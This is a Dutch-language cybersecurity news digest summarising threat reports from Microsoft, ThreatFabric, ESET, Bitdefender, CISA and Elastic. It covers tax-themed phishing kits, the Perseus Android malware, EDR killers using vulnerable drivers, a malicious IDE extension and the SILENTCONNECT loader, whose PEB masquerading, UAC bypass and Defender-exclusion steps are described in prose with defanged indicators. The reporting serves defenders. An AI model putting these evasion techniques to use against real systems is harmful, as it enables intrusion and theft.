In gevallen van malwaredistributie wordt misbruik gemaakt van legitieme remote monitoring and management tools (RMM). Hierdoor kunnen aanvallers persistentie behouden op een gecompromitteerd apparaat of netwerk, een alternatieve command-and-control methode inschakelen of, in het geval van hands on keyboard aanvallen, een interactieve remote desktop sessie starten.

Een campagne die begin februari 2026 werd waargenomen, leverde de Energy365 PhaaS phishing kit af en gebruikte CPA lokmiddelen (Certified Public Accountant). Deze campagne viel op door de specifieke lokalisatie, in tegenstelling tot andere dreigingsactoren die deze populaire phishing kit gebruiken maar generieke lokmiddelen inzetten. Andere kenmerken van deze campagne zijn het gebruik van verschillende bestandsformaten zoals Excel en OneNote, het gebruik van legitieme infrastructuur zoals OneDrive en meerdere rondes van gebruikersinteractie.

Tussen 5 en 6 februari werden honderden e-mails met het onderwerp "See Tax file" verzonden naar verschillende sectoren, waaronder financiële dienstverlening, onderwijs, IT, verzekeringen en gezondheidszorg, voornamelijk in de Verenigde Staten. De Excel-bijlage had de bestandsnaam "[Accountant’s name] CPA.xlsx", waarbij de naam van een echte accountant werd gebruikt. De bijlage bevatte een klikbare "REVIEW DOCUMENTS"-knop die linkte naar een OneNote-bestand dat op OneDrive werd gehost. Het OneNote-bestand bevatte een link naar een kwaadaardige landingspagina die de Energy365 phishing kit hostte en probeerde inloggegevens zoals e-mail en wachtwoord te stelen.

Op 10 februari 2026 observeerde Microsoft Threat Intelligence phishing-e-mails met een belastingthema die werden verzonden naar ongeveer 100 organisaties in de productie-, detailhandel- en gezondheidszorg, voornamelijk in de Verenigde Staten. De e-mails gebruikten het onderwerp "2025 Employee Tax Docs" en bevatten een bijlage met de naam "2025_Employee_W-2 .docx". De bijlage had inhoud die verschillende belastinggerelateerde termen zoals Form W-2 bevatte en had een QR code die naar een phishingpagina leidde. Elk document was aangepast met de naam van de ontvanger, en de URL achter de QR code bevatte ook het e-mailadres van de ontvanger. De phishingpagina was gebouwd met het SneakyLog PhaaS-platform en bootste de Microsoft 365-aanmeldpagina na om inloggegevens te stelen. SneakyLog, ook bekend als Kratos, bestaat al sinds begin 2025.

In januari en februari 2026 observeerde Microsoft Threat Intelligence de registratie van een reeks domeinen met een belastingthema, die waarschijnlijk zullen worden gebruikt in phishingcampagnes met een belastingthema. Deze domeinen gebruikten zoekwoorden zoals "tax" en "1099form" en deden zich ook voor als specifieke legitieme bedrijven die betrokken zijn bij belastingaangifte, accounting en investeringen. Microsoft adviseert gebruikers te waakzaam te zijn voor dergelijke phishing pogingen.

Bron: Microsoft

Microsoft heeft een nieuwe aanpak voor AI beveiliging aangekondigd, genaamd Zero Trust for AI (ZT4AI). Deze aanpak breidt de principes van Zero Trust uit naar de volledige AI levenscyclus, van data inname en modeltraining tot implementatie en agentgedrag.

AI systemen passen niet goed in traditionele beveiligingsmodellen en introduceren nieuwe vertrouwensgrenzen tussen gebruikers en agents, modellen en data, en mensen en geautomatiseerde besluitvorming. Autonome en semi-autonome AI agents brengen een nieuwe klasse van risico's met zich mee, waarbij agents die over bevoorrecht zijn, gemanipuleerd worden of verkeerd zijn afgestemd, kunnen werken tegen de doelen waarvoor ze zijn gebouwd.

Microsoft past drie fundamentele principes van Zero Trust toe op AI, expliciet verifiëren, toegang verlenen met de minste privileges en uitgaan van een inbreuk. Deze principes worden systematisch toegepast op AI omgevingen.

De Zero Trust Workshop is bijgewerkt met een speciale AI pijler, die nu 700 beveiligingscontroles omvat in 116 logische groepen en 33 functionele swimlanes. Deze workshop is scenario gebaseerd en prescriptief, ontworpen om teams met helderheid en snelheid van beoordeling naar uitvoering te brengen. De AI pijler evalueert specifiek hoe organisaties AI toegang en agentidentiteiten beveiligen, gevoelige data beschermen die door AI wordt gebruikt en gegenereerd, AI gebruik en -gedrag in de hele onderneming monitoren, en AI verantwoordelijk beheren in overeenstemming met risico- en compliance doelstellingen.

De Zero Trust Assessment evalueert honderden controles die zijn afgestemd op de principes van Zero Trust, op basis van de Secure Future Initiative (SFI) van Microsoft. Data en Network zijn toegevoegd als nieuwe pijlers naast de bestaande Identity en Devices dekking. Een Zero Trust Assessment voor AI pijler is in ontwikkeling en zal in de zomer van 2026 beschikbaar zijn, waardoor geautomatiseerde evaluatie wordt uitgebreid naar AI specifieke scenario's en controles.

Microsoft's nieuwe Zero Trust for AI referentiearchitectuur laat zien hoe beleidsgestuurde toegangscontroles, continue verificatie, monitoring en governance samenwerken om AI systemen te beveiligen en de veerkracht te vergroten wanneer zich incidenten voordoen. De architectuur geeft beveiligings-, IT- en engineeringteams een gedeeld mentaal model door te verduidelijken waar controles van toepassing zijn, hoe vertrouwensgrenzen verschuiven met AI en waarom defense in depth essentieel blijft voor agentic workloads.

Microsoft biedt patronen en praktijken die herhaalbare, bewezen benaderingen bieden voor de meest complexe AI beveiligingsuitdagingen.

Bron: Microsoft

Onderzoekers hebben een nieuwe Android malware ontdekt, genaamd Perseus, die zich verschuilt in streaming apps om wachtwoorden, bankgegevens en persoonlijke notities van gebruikers te stelen. Volgens een rapport van ThreatFabric wordt de malware actief verspreid en richt het zich voornamelijk op gebruikers in Turkije en Italië.

Perseus is gebouwd op de gelekte code van oudere Android banking trojans, waaronder Cerberus, waarvan de broncode in 2020 uitlekte. Om apparaten te infecteren, vermommen aanvallers de malware in apps die IPTV diensten aanbieden, platforms die televisiecontent streamen via het internet. Deze apps worden vaak gebruikt om illegale content te streamen en worden buiten officiële marketplaces zoals Google Play gedownload, waardoor gebruikers sneller geneigd zijn ze handmatig te installeren en het proces minder snel als verdacht te beschouwen.

Na installatie kan Perseus bijna alles wat een gebruiker doet in realtime volgen. Het maakt gebruik van overlay aanvallen, waarbij valse inlogschermen over legitieme apps worden geplaatst, en keylogging om credentials te onderscheppen. Een opvallende functie van Perseus is de focus op apps voor het maken van persoonlijke notities. De malware scant geïnfecteerde apparaten actief op apps zoals Google Keep, Evernote en Simple Notes, opent deze en extraheert de opgeslagen content. Notities kunnen gevoelige informatie bevatten, zoals wachtwoorden, financiële details en recovery phrases, waardoor ze waardevolle doelwitten zijn voor aanvallers.

ThreatFabric meldt dat Android malware voortdurend evolueert en nieuwe technieken en functies integreert om het vertrouwen van slachtoffers te winnen en detectie te ontwijken. Eerder identificeerden onderzoekers al een andere Android banking trojan, Herodotus, die menselijk gedrag kan nabootsen om detectie tijdens remote device control te vermijden. Crocodilus, een andere malware, kan de contactlijsten van slachtoffers manipuleren, waardoor aanvallers zich kunnen voordoen als vertrouwde partijen zoals banken.

Bron: ThreatFabric | Bron 2: recordedfuture.com

Ransomwaregroep Payload heeft aangekondigd binnen vier tot vijf dagen gestolen data te zullen publiceren. Cybercrimeinfo ontdekte dat de groep 85 GB aan data heeft buitgemaakt. Het type dreiging is nog onbekend. De aankondiging werd gedaan op 19 maart 2026.

Bron: Darkweb

Onderzoekers van ESET hebben ontdekt dat 54 zogenaamde EDR killers de bring your own vulnerable driver (BYOVD) techniek misbruiken om beveiligingssoftware uit te schakelen. Deze tools worden vaak ingezet door ransomwaregroepen om endpoint detection and response (EDR) oplossingen te neutraliseren voordat ze encryptie malware uitrollen.

De analyse toont aan dat EDR killers in vier categorieen opereren. De eerste categorie gebruikt BYOVD tools die via kwetsbare drivers kernel mode toegang verkrijgen om EDR processen te beeindigen. De tweede categorie bestaat uit script tools die administratieve commando's zoals taskkill en Safe Mode technieken inzetten. De derde categorie misbruikt legitieme anti rootkit tools zoals GMER, HRSword en PC Hunter voor kwaadaardige doeleinden. De vierde categorie omvat driverless EDR killers zoals EDRSilencer en EDR Freeze die uitgaand EDR verkeer blokkeren.

Opvallend is dat aanvallers weinig moeite doen om hun encryptors ondetecteerbaar te maken, maar juist geavanceerde verdedigingsontwijking toepassen op de EDR killer componenten zelf. In totaal worden 35 kwetsbare, maar legitiem ondertekende drivers misbruikt.

Er zijn drie typen ontwikkelaars geidentificeerd: gesloten ransomwaregroepen zoals DeadLock en Warlock, dreigingsactoren die proof of concept code aanpassen, en cybercriminelen die tools als commerciele diensten verkopen, waaronder DemoKiller, ABYSSWORKER en CardSpaceKiller.

Bron: ESET

Bitdefender heeft een kwaadaardige extensie ontdekt die gericht is op de Windsurf IDE en de Solana blockchain gebruikt om inloggegevens en gevoelige data van ontwikkelaars te stelen.

De malware doet zich voor als een legitieme R programmeertaalextensie genaamd reditorsupporter.r-vscode-2.8.8-universal, een imitatie van de populaire REditorSupport tool. Na installatie haalt de extensie versleutelde JavaScript fragmenten op van de Solana blockchain om detectie te ontwijken.

Technische indicatoren zijn onder meer het plaatsen van bestanden met de namen w.node en c_x64.node voor payload uitvoering, het stelen van wachtwoorden en sessiecookies uit browsers zoals Chrome, en het aanmaken van een verborgen PowerShell taak genaamd UpdateApp voor persistentie.

De malware bevat geografische restricties en sluit bewust systemen uit met Russische tijdzone indicatoren zoals Europe/Samara, Asia/Yekaterinburg en Asia/Magadan om lokale wetshandhaving te vermijden.

Ontwikkelaars zijn een aantrekkelijk doelwit omdat zij doorgaans over waardevolle inloggegevens beschikken, waaronder API sleutels die brede netwerktoegang bieden.

Bron: Bitdefender

De FBI en CISA hebben een waarschuwing uitgebracht over de beveiliging van Microsoft Intune, een tool voor het beheer van apparaten binnen een bedrijfsnetwerk. Dit volgt op een cyberaanval op het Amerikaanse medische technologiebedrijf Stryker, waarbij meer dan 200.000 apparaten werden gewist. De aanval wordt in verband gebracht met de Iraanse hackinggroep Handala.

In plaats van malware te gebruiken, wisten de aanvallers via een inbraak in Intune de data van Stryker. CISA adviseert Intune gebruikers om de recentelijk door Microsoft gepubliceerde best practices te volgen en hun endpoint management systemen beter te beveiligen.

Het advies benadrukt het belang van role based access controls om minimale rechten toe te kennen aan gebruikers, multi factor authenticatie voor alle accounts, en het gebruik van Microsoft Entra ID om ongeautoriseerde toegang tot acties in Microsoft Intune te blokkeren. CISA adviseert tevens om beleid in te stellen waarbij een tweede administratieve account toestemming moet geven voor gevoelige acties, zoals het wissen van apparaten.

De aanval op Stryker, uitgevoerd door de groep Handala, had grote gevolgen voor het bedrijf. Duizenden apparaten werden gewist, waardoor medewerkers geen toegang meer hadden tot cruciale systemen. Sommige medewerkers klaagden op sociale media dat Intune op hun persoonlijke apparaten was geïnstalleerd, waardoor ook hun privédata verloren ging.

Naast de waarschuwing van CISA heeft de FBI een website die in verband wordt gebracht met de groep Handala offline gehaald. De FBI stelt dat de website werd gebruikt om kwaadaardige cyberactiviteiten uit te voeren namens een buitenlandse staat.

CISA werkt samen met de FBI om verdere dreigingen te identificeren en mitigerende maatregelen te bepalen.

Bron: CISA | Bron 2: techcommunity.microsoft.com | Bron 3: handala-redwanted.to

World Monitor, een open source platform voor realtime situationeel bewustzijn, aggregeert meer dan 100 nieuwsfeeds, militaire vluchttracking, monitoring van marineschepen, op satelliet gebaseerde branddetectie, conflictzonemapping en infrastructuurdata in een interactieve kaart met door AI gestuurde intelligence briefs. Het project, ontwikkeld door Elie Habib, is een poging om een unified intelligence dashboard te bouwen dat militaire tracking, conflictmonitoring, infrastructuurmapping, nieuwscorrelatie en AI analyse combineert in een browsergebaseerde interface.

De tool draait volledig in de browser met Vercel Edge Functions als een API laag, waardoor er geen zware backend nodig is. Er zijn twee live varianten beschikbaar: een geopolitiek/militair gerichte versie op worldmonitor.app en een techindustrie variant op tech.worldmonitor.app.

World Monitor biedt 25 datalagen, waaronder:

*   Geopolitiek: actieve conflictzones, intelligence hotspots, sociale onrust (ACLED + GDELT), sancties en weeralarm.

*   Militair & Strategisch: 220+ militaire bases, live vluchttracking (ADS-B), monitoring van marineschepen (AIS), nucleaire faciliteiten, APT cyber threat attributie en spaceports.

*   Infrastructuur: onderzeese kabels, olie/gas pijpleidingen, 111 AI datacentrum clusters, internet outages (Cloudflare Radar), kritieke minerale afzettingen en NASA FIRMS satelliet branddetectie.

*   Nieuws & Video: 100+ RSS feeds met source tiering en propaganda flagging, live video streams (Bloomberg, Sky News, Al Jazeera), entity extraction en custom keyword monitors.

Elk nieuwsitem doorloopt een classificatieproces met een keyword classifier en een Groq Llama 3.1 8B LLM classifier. Het systeem maakt gebruik van een Country Instability Index (CII), Focal Point Detection en een Strategic Posture Assessment om risico's te analyseren en trends te detecteren. Anomaly Detection wordt uitgevoerd met behulp van Welford's online algoritme. Het signaalaggregatiesysteem combineert data van militaire vluchten, marineschepen, protesten, satellietbranden, AIS verstoringen, internet outages en nieuws.

De architectuur is browser first, waarbij analyses client side worden uitgevoerd. De Vercel Edge Functions dienen als CORS proxies, caching lagen en API key gatekeepers.

Bron: World Monitor (GitHub)

Onderzoekers hebben een nieuwe Androidmalware ontdekt, genaamd Perseus, die specifiek zoekt naar notities van gebruikers op besmette telefoons. Deze notities kunnen gevoelige informatie bevatten zoals wachtwoorden of seed phrases, waarmee toegang tot cryptowallets mogelijk is. Dit blijkt uit een analyse van securitybedrijf ThreatFabric.

De malware doet zich voor als een IPTV app en wordt buiten de Google Play Store om verspreid. Na installatie kan Perseus toetsaanslagen opslaan, overlayvensters boven legitieme applicaties tonen om inloggegevens te stelen en Device Takeover fraude plegen. Bij Device Takeover krijgt de aanvaller op afstand toegang tot de telefoon en pleegt vervolgens fraude vanaf het toestel, wat detectie lastiger maakt.

Een opmerkelijke functie van Perseus is de mogelijkheid om notitie apps te starten en te doorzoeken. Volgens de onderzoekers bevatten notities vaak gevoelige informatie zoals wachtwoorden, recovery phrases, financiële gegevens of privégedachten, waardoor ze een aantrekkelijk doelwit vormen. De malware is geprogrammeerd om de volgende apps te openen en doorzoeken: Google Keep, Xiaomi Notes, Samsung Notes, ColorNote Notepad Notes, Evernote, Microsoft OneNote, Simple Notes Pro en Simple Notes.

De malware richt zich vooral op Androidgebruikers in Turkije, Italië, Polen en Duitsland. ThreatFabric waarschuwde vorige maand al voor de toenemende infectie van Europese Androidgebruikers via malafide IPTV apps.

Bron: ThreatFabric

SILENTCONNECT, een recent ontdekte multi stage malware loader, richt zich sinds maart 2025 op Windows machines. De malware gebruikt VBScript, in memory PowerShell uitvoering en PEB masquerading om de ConnectWise ScreenConnect remote monitoring and management tool op systemen te installeren.

Na installatie geeft ScreenConnect aanvallers volledige controle over de getroffen machine. De infectie begint met een phishing e-mail met een link naar een legitieme uitnodiging of voorstel. Na het klikken wordt het slachtoffer naar een Cloudflare Turnstile CAPTCHA pagina geleid. Na verificatie wordt een VBScript bestand, genaamd E-INVITE.vbs, automatisch gedownload. Bedreigingsactoren gebruiken overtuigende bestandsnamen, zoals Proposal-03-2026.vbs, om de geloofwaardigheid te verhogen.

Onderzoekers van Elastic Security Labs identificeerden de campagne begin maart 2026, nadat een living off the land infectie meerdere behavioral alerts genereerde. De initiële VBScript download activeerde een SuspiciousWindows ScriptDownloaded from the Internet detectieregel. Het VBScript werd gehost op Cloudflare's r2.dev storage, terwijl de C#-payload van Google Drive werd opgehaald.

SILENTCONNECT mengt zich met normale Windows activiteit om onder de radar te blijven. Het VBScript gebruikt een kinderverhaal als afleiding, terwijl het echte instructies verbergt in Replace en Chr functies. Na decodering wordt een PowerShell commando uitgevoerd dat curl.exe gebruikt om een C#-bronbestand te downloaden, compileert het tijdens runtime via Add-Type en voert het volledig in het geheugen uit. Omdat er geen kwaadaardig uitvoerbaar bestand op schijf wordt geschreven, detecteren de meeste endpoint security tools dit gedrag niet in realtime.

De infrastructuur van de dreigingsactor toont een consistent patroon. Een phishing e-mail op VirusTotal met het onderwerp YOU ARE INVITED werd herleid tot dan@checkfirst[.]net[.]au, die zich voordeed als een projectvoorstel van een nepbedrijf. De aanvaller hergebruikte hetzelfde URI pad – download_invitee.php – op meerdere gecompromitteerde websites, waardoor onderzoekers de volledige campagne infrastructuur in kaart konden brengen via gerichte VirusTotal zoekopdrachten.

Nadat de .NET loader is uitgevoerd, verdwijnt SILENTCONNECT uit het zicht van security tools. Na 15 seconden slaapstand wijst het uitvoerbaar geheugen toe via NtAllocateVirtualMemory en kopieert een kleine shellcode stub naar dat gebied. Deze shellcode haalt het adres op van de Process Environment Block (PEB), een Windows structuur die alle modules volgt die in een actief proces zijn geladen. Met het PEB adres voert SILENTCONNECT PEB masquerading uit door zijn eigen modulelijstitem te lokaliseren en zowel de BaseDLLName- als FullDllName velden te overschrijven om winhlp32.exe en c:\windows\winhlp32.exe weer te geven.

Omdat veel EDR oplossingen vertrouwen op PEB gegevens als een vertrouwde referentie bij het identificeren van verdachte processen, vermomt deze naamswijziging de loader als een onschadelijk Windows hulpprogramma. Voordat ScreenConnect wordt geïnstalleerd, voert de loader een UAC bypass uit via de CMSTPLUA COM interface, slaat de parameters in omgekeerde volgorde op als obfuscatie en voegt stilletjes een Microsoft Defender uitsluiting toe voor exe bestanden. Vervolgens downloadt het de ScreenConnect MSI van bumptobabeco[.]top via curl.exe, installeert het via msiexec.exe en stelt het in als een Windows service die via TCP poort 8041 naar de server van de aanvaller seint.

Organisaties wordt aangeraden hun omgevingen te controleren op onbevoegde RMM implementaties en uitgaand verkeer naar onbekende ScreenConnect serveradressen te monitoren. Security teams dienen PowerShell opdrachten te markeren die Add-Type combineren met externe downloads, te waarschuwen voor VBScript bestanden die van internet worden opgehaald en te letten op onverwachte Defender uitsluitingswijzigingen. Het volgen van NtAllocateVirtualMemory aanroepen van .NET processen kan ook helpen deze dreiging te onderscheppen voordat deze volledig is gecompromitteerd.

Bron: Elastic